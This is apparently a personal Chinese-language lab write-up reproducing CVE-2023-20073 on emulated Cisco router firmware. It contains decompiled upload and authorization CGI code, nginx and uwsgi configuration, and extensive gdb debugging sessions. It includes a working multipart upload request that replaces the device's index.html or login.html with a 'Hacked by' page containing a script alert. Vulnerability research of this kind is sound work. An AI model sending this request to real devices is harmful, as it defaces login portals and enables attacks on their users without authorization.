另外一个函数是身份认证,但是我漏洞都执行好了再认证也没什么意义了

sub_125A8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
int sub_125A8()
{
char *v0; // r4
int v1; // r0
const char *v2; // r0
FILE *v3; // r4
const char *v4; // r4
char *v5; // r5
char *v6; // r0
bool v7; // zf
char *v8; // r4
const char *v9; // r0
const char *v10; // r0
int v12; // [sp+Ch] [bp-91Ch] BYREF
int v13; // [sp+10h] [bp-918h] BYREF
int v14; // [sp+14h] [bp-914h] BYREF
char s[256]; // [sp+18h] [bp-910h] BYREF
char command[2064]; // [sp+118h] [bp-810h] BYREF

memset(s, 0, sizeof(s));
v0 = getenv("HTTP_AUTHORIZATION");
v12 = 0;
v13 = StrBufCreate(v0);
if ( !v0 || strlen(v0) > 0xDD || match_regex("^(\"|')?Basic [A-Za-z0-9\\+=]*(\"|')?$") )
{
puts("Content-type: text/html\n");
return printf("Error Input");
}
else
{
v1 = sub_124EC();
v12 = v1;
if ( v1 )
{
v2 = (const char *)StrBufToStr(v1);
sprintf(
command,
"curl -k -X POST %s -H 'Authorization: %s' -H 'Content-Type: %s' -d@%s 2>/dev/null",
v2,
v0,
"application/vnd.yang.data+xml",
"/tmp/upload.input");
StrBufFree(&v12);
}
debug("%s", command);
v3 = popen(command, "r");
if ( v3 )
{
while ( fgets(s, 256, v3) )
StrBufAppendStr(v13, s);
pclose(v3);
}
v4 = (const char *)StrBufToStr(v13);
v5 = strstr(v4, "<h1>");
v6 = strstr(v4, "</h1>");
v7 = v6 == 0;
if ( v6 )
v7 = v5 == 0;
v8 = v6;
if ( !v7 )
{
v14 = StrBufCreate(v6);
StrBufAppendStrN(v14, v5 + 4, v8 - (v5 + 4));
v9 = (const char *)StrBufToStr(v14);
printf("Status: %s\r\n", v9);
StrBufFree(&v14);
}
printf("Content-type: %s\n\n", "application/vnd.yang.data+xml");
v10 = (const char *)StrBufToStr(v13);
printf("%s", v10);
return StrBufFree(&v13);
}
}

web.upload.conf

这个有对cookie进行检测,有效地防止目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
location /form-file-upload {
include uwsgi_params;
proxy_buffering off;
uwsgi_modifier1 9;
uwsgi_pass 127.0.0.1:9003; #会将请求发送给uwsgi进行处理
uwsgi_read_timeout 3600;
uwsgi_send_timeout 3600;
}

location /upload {
set $deny 0;

if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "${deny}1";
}

if ($cookie_sessionid ~* "^[a-f0-9]{64}") {
set $deny "${deny}2";
}

if ($deny != "012") {
return 403;
}

upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}

uwsgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh /etc/rc.common

export UWSGI_PLUGIN_DIR=/usr/lib/uwsgi/plugins

start() {
uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
uwsgi -m --ini /etc/uwsgi/blockpage.ini &
uwsgi -m --ini /etc/uwsgi/upload.ini &
}

stop() {
killall -9 uwsgi
}


upload.ini

这个会调用upload.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true

gdb连接

gdbserver传到qemu中,chroot启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BusyBox v1.23.2 (2022-10-17 13:31:51 IST) built-in shell (ash)

/ # ls
bin media root usr
default_uci_config mnt sbin var
dev overlay sys www
etc proc test_scripts
lib rom tmp
/ # ls -la /tmp/gdbserver*
-rwx--x--x 1 root root 1242967 Mar 26 13:04 /tmp/gdbserver-7.7.1-armhf-eabi5-v1-sysv
/ # find / -name "upload.cgi" 2>/dev/null
/www/cgi-bin/upload.cgi
/ # cd /www/cgi-bin
/www/cgi-bin # /tmp/gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./upload.cg
i
Process ./upload.cgi created; pid = 5389
Listening on port 1234


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
[21:10:15] ~/桌面/CVE-2023-20073
$ gdb-multiarch
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 139 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Use the vmmap instruction for a better & colored memory maps display (than the GDB's info proc mappings)
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 192.168.30.100:1234
Remote debugging using 192.168.30.100:1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x76fd2d40 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
R0 0x0
R1 0x0
R2 0x0
R3 0x0
R4 0x0
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0x0
R10 0x0
R11 0x0
R12 0x0
SP 0x7efffe10 ◂— 0x1
PC 0x76fd2d40 ◂— ldr sl, [pc, #0x94]
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
► 0x76fd2d40 ldr sl, [pc, #0x94]
0x76fd2d44 ldr r4, [pc, #0x94]
0x76fd2d48 mov r0, sp
0x76fd2d4c bl #0x76fd68a4 <0x76fd68a4>

0x76fd2d50 add r6, pc, #0x84
0x76fd2d54 add sl, sl, r6
0x76fd2d58 ldr r4, [sl, r4]
0x76fd2d5c mov r6, r0
0x76fd2d60 ldr r1, [sp]
0x76fd2d64 add r2, sp, #4
0x76fd2d68 cmp r4, #0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7efffe10 ◂— 0x1
01:0004│ 0x7efffe14 —▸ 0x7efffefd ◂— './upload.cgi'
02:0008│ 0x7efffe18 ◂— 0x0
03:000c│ 0x7efffe1c —▸ 0x7effff0a ◂— 'MAIL=/var/mail/root'
04:0010│ 0x7efffe20 —▸ 0x7effff1e ◂— 'USER=root'
05:0014│ 0x7efffe24 —▸ 0x7effff28 ◂— 'SHLVL=2'
06:0018│ 0x7efffe28 —▸ 0x7effff30 ◂— 'OLDPWD=/'
07:001c│ 0x7efffe2c —▸ 0x7effff39 ◂— 'HOME=/root'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x76fd2d40
────────────────────────────────────────────────────────────────────────────────
pwndbg>

我不知道为什么按照参考的来,但是我的子进程fork不了,可能是因为我使用curl的问题,但是按照上述步骤然后再次运行c就可以跳到keypatch修改的死循环部分,然后就可以gdb调试了,但是我子进程fork不出来导致我改回原来的main内容但是fread读取的数据是空的,但是我的/www/upload文件夹有一个新的html,并且可以移动到目标文件夹,并且修改login.html的内容

后续

经过不懈努力,终于正常了,我觉得是因为curl不能完全替代hackbar

我们先将设置为死循环的upload.cgi上传至qemu端,然后重启服务/etc/init.d/nginx restart,接着通过hackbar发送报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
--------------
Content-Disposition: form-data; name="pathparam"

Portal
--------------
Content-Disposition: form-data; name="fileparam"

index.html
--------------
Content-Disposition: form-data; name="file.path"

/tmp/upload/0000000001
--------------
Content-Disposition: form-data; name="what"; filename="index.html"; Content-Type: text/html

<!DOCTYPE html>
<html>
<head><title>Hacked</title></head>
<body>
<h1>Hacked by hfddh666!</h1>
<script>alert('XSS')</script>
</body>
</html>
--------------

1775463401762

执行完后查看一下,发现有个upload.cgi进程,这里要记得将该文件权限提高(777)

1775463467431

然后就是启动gdbserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 4999 www-data  7140 S    uwsgi -m --ini /etc/uwsgi/upload.ini
5000 www-data 7232 S uwsgi -m --ini /etc/uwsgi/upload.ini
5001 www-data 7140 S uwsgi -m --ini /etc/uwsgi/blockpage.ini
5002 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini
5003 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini
5004 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini
5005 www-data 7472 S uwsgi -m --ini /etc/uwsgi/jsonrpc.ini
6374 www-data 1860 R /www/cgi-bin/upload.cgi
6680 root 2984 S sleep 5
6681 root 3228 R ps aux
/ # ./gdbserver 0.0.0.0:9999 --attach 6374
Attached; pid = 6374
Listening on port 9999


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
[16:18:45] ~/桌面/CVE-2023-20073
$ sudo gdb-multiarch upload.cgi
[sudo] yy 的密码:
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 139 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from upload.cgi...(no debugging symbols found)...done.
------- tip of the day (disable with set show-tips off) -------
Disable Pwndbg context information display with set context-sections ''
pwndbg> set endian little
The target is assumed to be little endian
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 192.168.30.100:9999
Remote debugging using 192.168.30.100:9999
Reading /lib/ld-linux.so.3 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib/ld-linux.so.3 from remote target...
Reading symbols from target:/lib/ld-linux.so.3...(no debugging symbols found)...done.
0x00010e0c in ?? () from target:/lib/ld-linux.so.3
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
R0 0x130bf
R1 0x7ef2f774
R2 0x7ef2f77c
R3 0x10e00
R4 0x129ec
R5 0x0
R6 0x11298
R7 0x0
R8 0x0
R9 0x0
R10 0x76f83000
R11 0x0
R12 0x76ee4000
SP 0x7ef2f1a8
PC 0x10e0c
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
Invalid address 0x10e0c










───────────────────────────────────[ STACK ]────────────────────────────────────
<Could not read memory at 0x7ef2f1a8>
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x10e0c
────────────────────────────────────────────────────────────────────────────────
pwndbg> set *0x10e0c=0xebffffaa
pwndbg> n
0x00010cbc in getenv@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
R0 0x130bf ◂— strbpl r4, [lr], #-0xf43 /* 'CONTENT_LENGTH' */
R1 0x7eb2a774 —▸ 0x7eb2a90f ◂— '/www/cgi-bin/upload.cgi'
R2 0x7eb2a77c —▸ 0x7eb2a927 ◂— 'MAIL=/var/mail/root'
R3 0x10e00 ◂— push {r4, r5, r6, r7, r8, lr}
R4 0x129ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
R5 0x0
R6 0x11298 ◂— mov fp, #0
R7 0x0
R8 0x0
R9 0x0
R10 0x76f52000 ◂— 0x2cf44
R11 0x0
R12 0x76eb3000 ◂— 0x114f20
SP 0x7eb2a1a8 ◂— 0x0
*PC 0x10cbc (getenv@plt) ◂— add ip, pc, #0, #12
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
0x10cbc <getenv@plt> add ip, pc, #0, #12 <getenv@plt>
0x10cc0 <getenv@plt+4> add ip, ip, #0x12000
0x10cc4 <getenv@plt+8> ldr pc, [ip, #0x744]!
0x10cc8 <puts@plt> add ip, pc, #0, #12
0x10ccc <puts@plt+4> add ip, ip, #0x12000
0x10cd0 <puts@plt+8> ldr pc, [ip, #0x73c]!
0x10cd4 <malloc@plt> add ip, pc, #0, #12
0x10cd8 <malloc@plt+4> add ip, ip, #0x12000
0x10cdc <malloc@plt+8> ldr pc, [ip, #0x734]!
0x10ce0 <__libc_start_main@plt> add ip, pc, #0, #12
0x10ce4 <__libc_start_main@plt+4> add ip, ip, #0x12000
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7eb2a1a8 ◂— 0x0
... 7 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x10cbc getenv@plt
────────────────────────────────────────────────────────────────────────────────
pwndbg>

成功启动了,接着是把我们修改的内容改回来(这里解释了为什么要用sudo,不然改不了)

这里跳到fread函数看看,r5就是存储报文的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> b *0x10EBC
Breakpoint 1 at 0x10ebc
pwndbg> c
Continuing.

Breakpoint 1, 0x00010ebc in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*R0 0x43a
*R1 0x1
*R2 0x0
*R3 0x0
*R4 0x7eb2aae7 ◂— 'multipart/form-data; boundary=----geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab'
*R5 0x15df0f8 ◂— 0x2d2d2d2d ('----')
*R6 0x43a
*R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload'
*R8 0x7eb2af2a ◂— 'session=abc'
R9 0x0
R10 0x76f52000 ◂— 0x2cf44
R11 0x0
*R12 0x43a
SP 0x7eb2a1a8 ◂— 0x0
*PC 0x10ebc ◂— mov r3, #0
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
0x10ebc mov r3, #0
0x10ec0 cmp r4, r3
0x10ec4 strb r3, [r5, r0]
0x10ec8 beq #0x10f04 <0x10f04>

0x10ecc mov r0, r4
0x10ed0 ldr r1, [pc, #0x340]
0x10ed4 bl #strstr@plt <strstr@plt>

0x10ed8 cmp r0, #0
0x10edc beq #0x10f04 <0x10f04>

0x10ee0 ldr r1, [pc, #0x334]
0x10ee4 ldr r0, [sp, #0x38]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7eb2a1a8 ◂— 0x0
... 7 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x10ebc
f 1 0x76dff674
────────────────────────────────────────────────────────────────────────────────
pwndbg> x/8s 0x15df0f8
0x15df0f8: "------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"pathparam\"\r\n\r\nPortal\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-"...
0x15df1c0: "data; name=\"fileparam\"\r\n\r\nlogin.html\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"file.path\"\r\n\r\n/tmp/upload/0000000001\r\n------geckoformboundary9ed5bf"...
0x15df288: "38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.name\"\r\n\r\nlogin.html\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.content_"...
0x15df350: "type\"\r\n\r\napplication/octet-stream\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.path\"\r\n\r\n/tmp/upload/0000000005\r\n------geckoformboundary9ed5bf381"...
0x15df418: "30f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; name=\"what.md5\"\r\n\r\n570e02befc8fb35b2561f95c78059dc4\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab\r\nContent-Disposition: form-data; n"...
0x15df4e0: "ame=\"what.size\"\r\n\r\n51\r\n------geckoformboundary9ed5bf38130f9cd1b569ec5eee6bceab--\r\n"
0x15df533: ""
0x15df534: "\321\n\002"
pwndbg>

然后看jsonutil_get_string@plt函数是怎么解析字段的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
pwndbg> b *0x10f74
Breakpoint 2 at 0x10f74
pwndbg> c
Continuing.

Breakpoint 2, 0x00010f74 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
*R0 0x15df5b0 ◂— 0x4
*R1 0x7eb2a1c0 ◂— 0x0
*R2 0x13109 ◂— stclvs p6, c6, [sb], #-0x88 /* '"file.path"' */
*R3 0xffffffff
*R4 0x23488 —▸ 0x15dfc88 ◂— '"what.size"'
R5 0x15df0f8 ◂— 0x2d2d2d2d ('----')
*R6 0x15df6e8 —▸ 0x76eb3554 —▸ 0x15dfd20 ◂— 0x22657a /* 'ze"' */
R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload'
R8 0x7eb2af2a ◂— 'session=abc'
R9 0x0
R10 0x76f52000 ◂— 0x2cf44
R11 0x0
*R12 0x14c
SP 0x7eb2a1a8 ◂— 0x0
*PC 0x10f74 ◂— bl #0x10bfc
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0x10f74 bl #jsonutil_get_string@plt <jsonutil_get_string@plt>
r0: 0x15df5b0 ◂— 0x4
r1: 0x7eb2a1c0 ◂— 0x0
r2: 0x13109 ◂— stclvs p6, c6, [sb], #-0x88 /* '"file.path"' */
r3: 0xffffffff

0x10f78 add r1, sp, #0x14
0x10f7c ldr r2, [pc, #0x2b0]
0x10f80 mvn r3, #0
0x10f84 ldr r0, [r4, #4]
0x10f88 bl #jsonutil_get_string@plt <jsonutil_get_string@plt>

0x10f8c add r1, sp, #0x1c
0x10f90 ldr r2, [pc, #0x2a0]
0x10f94 mvn r3, #0
0x10f98 ldr r0, [r4, #4]
0x10f9c bl #jsonutil_get_string@plt <jsonutil_get_string@plt>
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7eb2a1a8 ◂— 0x0
... 7 skipped
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0x10f74
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> b *0x10f78
Breakpoint 3 at 0x10f78
pwndbg> c
Continuing.

Breakpoint 3, 0x00010f78 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
*R0 0x0
*R1 0x13115 ◂— stclvs p6, c6, [sb], #-0x88 /* '"filename"' */
*R2 0x6
*R3 0x7eb2a1c0 —▸ 0x15df960 ◂— '/tmp/upload/0000000001'
R4 0x23488 —▸ 0x15dfc88 ◂— '"what.size"'
R5 0x15df0f8 ◂— 0x2d2d2d2d ('----')
R6 0x15df6e8 —▸ 0x76eb3554 —▸ 0x15dfd20 ◂— 0x22657a /* 'ze"' */
R7 0x7eb2ab5b ◂— '/api/operations/ciscosb-file:form-file-upload'
R8 0x7eb2af2a ◂— 'session=abc'
R9 0x0
R10 0x76f52000 ◂— 0x2cf44
R11 0x0
*R12 0x76ed64dc (json_object_get_string) ◂— subs r3, r0, #0
SP 0x7eb2a1a8 ◂— 0x0
*PC 0x10f78 ◂— add r1, sp, #0x14
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0x10f74 bl #jsonutil_get_string@plt <jsonutil_get_string@plt>

0x10f78 add r1, sp, #0x14
0x10f7c ldr r2, [pc, #0x2b0]
0x10f80 mvn r3, #0
0x10f84 ldr r0, [r4, #4]
0x10f88 bl #jsonutil_get_string@plt <jsonutil_get_string@plt>

0x10f8c add r1, sp, #0x1c
0x10f90 ldr r2, [pc, #0x2a0]
0x10f94 mvn r3, #0
0x10f98 ldr r0, [r4, #4]
0x10f9c bl #jsonutil_get_string@plt <jsonutil_get_string@plt>
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7eb2a1a8 ◂— 0x0
... 5 skipped
06:0018│ r3 0x7eb2a1c0 —▸ 0x15df960 ◂— '/tmp/upload/0000000001'
07:001c│ 0x7eb2a1c4 ◂— 0x0
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0x10f78
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

然后执行到正则匹配的部分,发现成功返回0,如果将/tmp/upload/0000000001改为login.html发现无法通过正则匹配,通过观察可以发现0~9都可以通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
pwndbg> b *0x11044
Breakpoint 1 at 0x11044
pwndbg> c
Continuing.

Breakpoint 1, 0x00011044 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*R0 0x1317d ◂— ldclvs p15, c2, [r4, #-0x178]! /* '^/tmp/upload/[0-9]{10}$' */
*R1 0x1eaa960 ◂— '/tmp/upload/0000000001'
*R2 0x7ee8917c ◂— 0x0
*R3 0x0
*R4 0x23488 —▸ 0x1eaac88 ◂— '"what.size"'
*R5 0x1eaa0f8 ◂— 0x2d2d2d2d ('----')
*R6 0x1eaa6e8 —▸ 0x76f10554 —▸ 0x1eaad20 ◂— 0x22657a /* 'ze"' */
*R7 0x7ee89b5b ◂— '/api/operations/ciscosb-file:form-file-upload'
*R8 0x7ee89f2a ◂— 'session=abc'
R9 0x0
R10 0x76faf000 ◂— 0x2cf44
R11 0x0
*R12 0x76f1052c —▸ 0x1eaacc0 ◂— 0x0
SP 0x7ee891a8 ◂— 0x0
*PC 0x11044 ◂— bl #0x10d94
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
0x11044 bl #match_regex@plt <match_regex@plt>
r0: 0x1317d ◂— ldclvs p15, c2, [r4, #-0x178]! /* '^/tmp/upload/[0-9]{10}$' */
r1: 0x1eaa960 ◂— '/tmp/upload/0000000001'
r2: 0x7ee8917c ◂— 0x0
r3: 0x0

0x11048 cmp r0, #0
0x1104c beq #0x11064 <0x11064>

0x11050 ldr r0, [pc, #0x208]
0x11054 bl #puts@plt <puts@plt>

0x11058 ldr r0, [pc, #0x204]
0x1105c bl #printf@plt <printf@plt>

0x11060 b #0x111c4 <0x111c4>

0x11064 ldr r0, [sp, #0x40]
0x11068 ldr r1, [sp, #0x20]
0x1106c bl #StrBufSetStr@plt <StrBufSetStr@plt>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7ee891a8 ◂— 0x0
... 5 skipped
06:0018│ 0x7ee891c0 —▸ 0x1eaa960 ◂— '/tmp/upload/0000000001'
07:001c│ 0x7ee891c4 —▸ 0x1eaa830 ◂— 'Portal'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x11044
────────────────────────────────────────────────────────────────────────────────
pwndbg> pwndbg> b *0x11048
Breakpoint 2 at 0x11048
pwndbg> c
Continuing.

Breakpoint 2, 0x00011048 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────
*R0 0x0
*R1 0x0
*R2 0x0
*R3 0x1
R4 0x23488 —▸ 0x1eaac88 ◂— '"what.size"'
R5 0x1eaa0f8 ◂— 0x2d2d2d2d ('----')
R6 0x1eaa6e8 —▸ 0x1eac288 ◂— 0x0
R7 0x7ee89b5b ◂— '/api/operations/ciscosb-file:form-file-upload'
R8 0x7ee89f2a ◂— 'session=abc'
R9 0x0
R10 0x76faf000 ◂— 0x2cf44
R11 0x0
*R12 0x14c
SP 0x7ee891a8 ◂— 0x0
*PC 0x11048 ◂— cmp r0, #0
───────────────────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────────────────────────────────────────
0x11044 bl #match_regex@plt <match_regex@plt>

0x11048 cmp r0, #0
0x1104c beq #0x11064 <0x11064>

0x11050 ldr r0, [pc, #0x208]
0x11054 bl #puts@plt <puts@plt>

0x11058 ldr r0, [pc, #0x204]
0x1105c bl #printf@plt <printf@plt>

0x11060 b #0x111c4 <0x111c4>

0x11064 ldr r0, [sp, #0x40]
0x11068 ldr r1, [sp, #0x20]
0x1106c bl #StrBufSetStr@plt <StrBufSetStr@plt>
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7ee891a8 ◂— 0x0
... 5 skipped
06:0018│ 0x7ee891c0 —▸ 0x1eaa960 ◂— '/tmp/upload/0000000001'
07:001c│ 0x7ee891c4 —▸ 0x1eaa830 ◂— 'Portal'
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 0x11048
f 1 0x76ea1f50 regfree+56
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

看system函数,mv -f /tmp/upload/0000000001 /tmp/www//index.html成功执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
pwndbg> target remote 192.168.30.100:9999
Remote debugging using 192.168.30.100:9999
Reading /usr/lib/libmultipart.so from remote target...
Reading /usr/lib/libmiscu.so from remote target...
Reading /usr/lib/libjsonutil.so from remote target...
Reading /usr/lib/libjson-c.so.2 from remote target...
Reading /lib/libgcc_s.so.1 from remote target...
Reading /lib/libc.so.6 from remote target...
Reading /lib/ld-linux.so.3 from remote target...
Reading symbols from target:/usr/lib/libmultipart.so...(no debugging symbols found)...done.
Reading symbols from target:/usr/lib/libmiscu.so...(no debugging symbols found)...done.
Reading symbols from target:/usr/lib/libjsonutil.so...(no debugging symbols found)...done.
Reading symbols from target:/usr/lib/libjson-c.so.2...(no debugging symbols found)...done.
Reading symbols from target:/lib/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from target:/lib/libc.so.6...(no debugging symbols found)...done.
Reading symbols from target:/lib/ld-linux.so.3...(no debugging symbols found)...done.
Reading /lib/ld-linux.so.3 from remote target...
0x00010e0c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
